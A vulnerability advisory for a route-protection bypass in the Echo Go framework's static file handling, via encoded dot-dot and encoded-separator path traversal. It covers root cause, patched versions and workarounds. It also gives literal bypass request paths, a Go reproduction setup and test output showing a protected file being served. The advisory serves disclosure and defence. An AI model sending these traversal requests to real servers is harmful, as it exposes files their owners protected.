---
id: CVE-2026-118654
aliases:
  - GHSA-3pmx-cf9f-34xr
title: >-
  Echo static file middleware route protection bypass via encoded dot-dot
  traversal
summary: >-
  Echo static file middleware route protection bypass via encoded dot-dot
  traversal
severity: medium
cvss: 5.9
cvssVector: 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N'
vendor: labstack
product: github.com/labstack/echo/v5
ecosystem: go
affected:
  - github.com/labstack/echo/v5 < 5.4.0
  - github.com/labstack/echo/v4 < 4.16.0
patched:
  - github.com/labstack/echo/v5 5.4.0
  - github.com/labstack/echo/v4 4.16.0
published: '2026-10-28'
updated: '2026-10-28'
sourceUpdated: '2026-10-28T21:15:05.143057870Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-3pmx-cf9f-34xr'
references:
  - url: 'https://github.com/labstack/echo/security/advisories/GHSA-3pmx-cf9f-34xr'
  - url: >-
      https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1
  - url: >-
      https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af
  - url: 'https://github.com/labstack/echo'
  - url: 'https://github.com/labstack/echo/releases/tag/v4.16.0'
  - url: 'https://github.com/labstack/echo/releases/tag/v5.4.0'
  - url: 'https://github.com/advisories/GHSA-3pmx-cf9f-34xr'
tags:
  - osv
  - go
  - ghsa
epss: 0.00347
epssPercentile: 0.28209
cwe:
  - CWE-22
ingestedAt: '2026-10-28T21:18:49.947Z'
---

## Overview

## Summary

Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as `%2F` and `%5C` before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.

The primary bypass uses encoded dot-dot segments. A request such as `/public/%2E%2E/admin/secret.txt` passes the encoded-separator guard, is unescaped to `public/../admin/secret.txt`, then `path.Clean` resolves it to `admin/secret.txt`. If `/admin/*` is protected by middleware but the static filesystem is mounted at `/`, the protected file is returned through the public static route.

A second bypass exists when `UseEscapedPathForMatching=true`. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no `%` characters, so the encoded-separator guard does not run on the original encoded path.

## Impact

An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.

The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.

The `UseEscapedPathForMatching=true` variant is lower severity because it requires a non-default router configuration.

## Affected versions

Tested vulnerable:

- `github.com/labstack/echo/v5` v5.2.0
- Current `master` at `5786024ea4d85c01784796e8aa7aac53e007b39b`

No patched version is currently known.


## Policy and version checks

GitHub Private Vulnerability Reporting is enabled for `labstack/echo`. The repository has a root `SECURITY.md` and accepts security reports through GitHub Security Advisories.

The vulnerable code was revalidated on both current `master` and the latest release tag:

- Current `master`: `5786024ea4d85c01784796e8aa7aac53e007b39b`
- Latest release: `v5.2.0`, published June 14 2026
- Package: `github.com/labstack/echo/v5`

The same focused Go tests pass on the checked out `v5.2.0` / `master` commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.

## Reproduction

The following application shape reproduces the high-severity bypass:

```go
e := echo.New()

g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        return echo.NewHTTPError(http.StatusForbidden)
    }
})
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)
```

Control request:

```http
GET /admin/secret.txt
```

Observed result:

```text
403 Forbidden
```

Bypass request:

```http
GET /public/%2E%2E/admin/secret.txt
```

Observed result:

```text
200 OK
TOP-SECRET
```

For the non-default router variant:

```go
e := echo.New()
e.router = echo.NewRouter(echo.RouterConfig{
    UseEscapedPathForMatching: true,
})

g := e.Group("/admin", authMiddlewareReturning403)
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)
```

Bypass request:

```http
GET /public%2F..%2Fadmin%2Fsecret.txt
```

Observed result:

```text
200 OK
TOP-SECRET
```

## Proof of concept evidence

I added focused tests against the current Echo codebase. The tests exercise both `StaticDirectoryHandler` and the static middleware path.

Command:

```bash
go test -run TestHostile -v ./...
```

Observed result:

```text
=== RUN   TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked (0.00s)
=== RUN   TestHostile_StaticDirectoryHandler_EncodedDotDotBypass
--- PASS: TestHostile_StaticDirectoryHandler_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_UseEscapedPathForMatching_Bypass
--- PASS: TestHostile_UseEscapedPathForMatching_Bypass (0.00s)
PASS
ok  github.com/labstack/echo/v5  0.013s
=== RUN   TestHostile_StaticMiddleware_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticMiddleware_EncodedSeparatorsBlocked (0.01s)
=== RUN   TestHostile_StaticMiddleware_EncodedDotDotBypass
--- PASS: TestHostile_StaticMiddleware_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_StaticMiddleware_DisablePathUnescaping
--- PASS: TestHostile_StaticMiddleware_DisablePathUnescaping (0.00s)
PASS
ok  github.com/labstack/echo/v5/middleware  0.012s
```

The control tests also confirm that the new fix blocks encoded separators such as `%2F`, `%5C`, double-encoded slash values, null bytes, and overlong slash encodings.

## Root cause

The fix for GHSA-vfp3 uses a denylist-style guard that checks for encoded path separators before unescaping the static wildcard. This blocks `%2F` and `%5C`, but does not block encoded traversal segments such as `%2E%2E`.

The vulnerable flow is:

1. The static route wildcard accepts `public/%2E%2E/admin/secret.txt`.
2. The encoded-separator guard sees no `%2F` or `%5C` and allows the request.
3. The handler unescapes the wildcard to `public/../admin/secret.txt`.
4. `path.Clean` resolves it to `admin/secret.txt`.
5. The file is served through the public static route instead of the protected `/admin/*` route.

For `UseEscapedPathForMatching=true`, the router decodes the path before the static handler sees the wildcard, so the handler cannot detect that encoded separators were used in the original request.

## Remediation

Do not rely only on detecting encoded separators. Reject encoded traversal sequences before unescaping, and reject normalized wildcard values that cross route or static mount boundaries.

Possible fixes:

1. Extend the pre-unescape guard to reject encoded dot segments such as `%2E` and `%2E%2E` in path components.
2. After unescaping, reject any wildcard where cleaning changes the path in a way that removes `.` or `..` components.
3. For `UseEscapedPathForMatching=true`, run the static-file guard against the original escaped request path before router normalization, or preserve metadata that the matched wildcard came from encoded separators.

## Patches

Fixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. The Static middleware and `StaticDirectoryHandler` (used by `Echo.Static`, `Echo.StaticFS`, `Group.Static` and `Group.StaticFS`) no longer serve paths with a `.`, `..` or empty segment, including after path unescaping. The encoded variant of the first vector (`/public/%2E%2E/admin/secret.txt`) was already fixed in v5.2.1 and v4.15.4 (GHSA-vfp3-v2gw-7wfq).

## Workarounds

Put a reverse proxy in front of the application that normalizes request paths (removes dot segments and merges slashes), or keep protected files outside the served directory.

## Affected packages

- `github.com/labstack/echo/v5 < 5.4.0`
- `github.com/labstack/echo/v4 < 4.16.0`

## Remediation

Upgrade to a patched release:

- `github.com/labstack/echo/v5 5.4.0`
- `github.com/labstack/echo/v4 4.16.0`
